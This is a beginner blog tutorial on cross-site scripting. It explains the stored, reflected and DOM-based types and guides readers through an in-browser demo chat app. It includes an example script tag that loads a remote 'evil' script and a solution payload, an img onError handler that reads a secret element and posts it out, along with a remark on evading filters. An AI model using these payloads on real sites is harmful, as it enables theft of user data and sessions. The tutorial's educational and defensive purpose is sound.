The Basics: Cross-Site Scripting (XSS)
What is a Cross-site Scripting (XSS) and how does it work? The aim of this guide is to teach you the basics of XSS so you can hopefully better protect your own applications and sites.
Heads up! The demo app should work in all modern browsers.
As with the SQL Injections demo, the demo is quite basic and will be making some assumptions like what knowledge we have of the target application (we assume you have access to see the code for your target's chat app, which is common unless you are trying to attack a proprietary application).
What is Cross-Site Scripting (XSS)?
XSS is an injection type attack where malicious browser-side code (like JavaScript) is injected into a website and executed at in the browser of anyone who is exposed to it. Because the injected code appears to comes from the website itself, the browser believes the code was intended by the website and executes it.
The XSS payload can be anything from a direct line JavaScript from an insecure web-chat (eg. alert("xss")
) to whole script tags loading in a malicious script from a 3rd party website (eg. <script src="https://markeliasen.com/evil-xss-code.js"/>
).
According to OWASP's top 10 of 2017, XSS is #7 on the list of top security risk for web applications. XSS vulnerabilities can be used to make a very wide range of attacks, like session hijacking and stealing user data.
To make matters worse, XSS vulnerabilities are fairly common because they can quite easily be missed. If you take a look at the Hacktivity from HackerOne, you can see these are quite common and are found is all sorts of sites/apps and from lots of different sizes and types of companies, because companies like Microsoft, Apple, Google, you name it, all have had XSS vulnerabilities if you go by just public/disclosed information alone like HackerOne and CVEDetails.com.
The types of XSS
There are several types of XSS but I won't go through them here. I will very briefly go over them here, but going into details about each might be a bit much for a "Basics" article.
However, if you wish to learn more about the difference between the 3 types, I can recommend reading the Types of Cross-Site Scripting from OWASP.
Type 1: Stored
Stored XSS attacks are persistent attacks as they are stored on the target server(s). It means the victim(s) will be able to retrieve and execute the XSS code at any time until it is removed. Eg. the malicious code has been injected into a web page or the content of the web page.
Type 2: Reflected
Reflected XSS is when the code from the attacker is immediately executed/returned by a web application without it being permanently stored in the browser or server. For example, the payload could be from a chat message sent by the attacker.
Type 0: DOM Based
DOM based XSS is very similar to Reflected, except it's only when the whole process happens in the browser, as a result of modifying the DOM. Eg. exploiting a vulnerable code like an error message which gets the message from a GET param (ei ?error=oh%20no
).
Getting started: Demo App
The demo app runs entirely in your browser so whatever you do in this app only affects you. So feel free to experiment and mess around with it as you please.
Before you continue, I recommend you open the app so you can follow along:
Open in a new tab or open in a popup.
Make sure you have both a window open for the "victim" (required, as it will be what emulates the target you will be attacking) and the "attacker".
Let's familiarise ourselves with the demo app. You should only have to interact with the "attacker" window, so leave the "victim" window for now.
Try type test
or some other message in the message window and click "Send". If you look in the victim's window, you can see the message has been received and is displayed.
That is essentially all there is to the demo, you can type a message in one, and send it to the other. Again you should only interact with the Attacker window for the sake of the demo, except for when/if you want to inspect the code on the victim's chat app.
The objective
Looking at the victim window, you might already have noticed there is a "secret" in the top part of the demo. This is what we will be trying to steal as the attacker, using XSS. While trying to the steal the secret, I will try to explain what happened and how it worked.
If you are having difficulties understanding the process, do let me know and I will try to elaborate!
Probing and testing
In this demo, you have access to the code which is running the victim's web app, this is quite common as most websites use the same code to render what you see and interact with as everyone else.
So you are able to inspect the code your end, setup multiple accounts on a website and try find XSS vulnerabilities between your two accounts, it is almost guaranteed the same vulnerabilities will work against others as well.
Constructing the payload
When you find a vulnerability, you can begin constructing your XSS payload. Depending on what you are trying to accomplish, it would be anything from embedding a trolling image on the screen of the victim to (but certainly not limited to) gaining access to their account.
In the demo app, your payload needs to get the secret code from the victim and send it back to you.
If you would like to see one way to do this, I have included a solution at the bottom of this post. But I recommend trying it out yourself since that is the fun part!
Don't worry if you have to make a lot of attempts at it or if you otherwise find it hard, every master was once a beginner!
XSS filters, evasion and detection.
It is also worth mentioning, there are a lot of XSS filters, and detection systems out there which will pick up most "typical" or "lazy" forms of XSS attacks. However, programmers makes mistakes and it is far from all websites which implements proper sanitation. Just keep in mind, that even if some forms of payloads won't work, does not mean XSS is impossible - you might just have to get crafty.
Conclusion
I personally found this subject a bit harder to walk-through in steps, compared to my post about SQL Injections, but I think it is because it is such an open ended answer as to what you can do with it and more importantly how you do it.
There is no single way for an XSS attack to simply work, every payload is purposely build for the specific target in mind, and often with a very specific goal. The payload also changes in terms of how it is obfuscated and formed, to try avoid XSS filters.
If you would like to learn more about XSS, I recommend you check out OWASP or look up more advanced tutorials and guides on websites like Pluralsight, Udemy and LinkedIn Learning.
Please be responsible. Regardless of whether you are new to security or not, if you happen to find a vulnerability in a website or application, please follow the responsible disclosure model.
Side note
This post was admittedly a bit more rushed than some of my other posts, so I wanted to link to this video where Tom Scott (via the excellent YouTube channel Computerphile) goes into more details about how it actually works. Hopefully it will fill some of the gaps.
Solution to the Demo App
Remember, this is just one of many possibly ways you could do this, so if you have a different solution, that is 100% OK!
<img src='' onError="var a = document.getElementById('secret').innerText;document.querySelector('textarea').value = a;document.querySelector('button').click();">
First var a = document.getElementById('secret').innerText;
will read the secret code and store it in the variable a
.
Then document.querySelector('textarea').value = a;
will populate the input with the code stored in a
.
Finally document.querySelector('button').click();
will trigger the click
event on the button to send the message.
This is app wrapped in an <img /> element, and since the image src will fail to load, the onError
will trigger, running our code.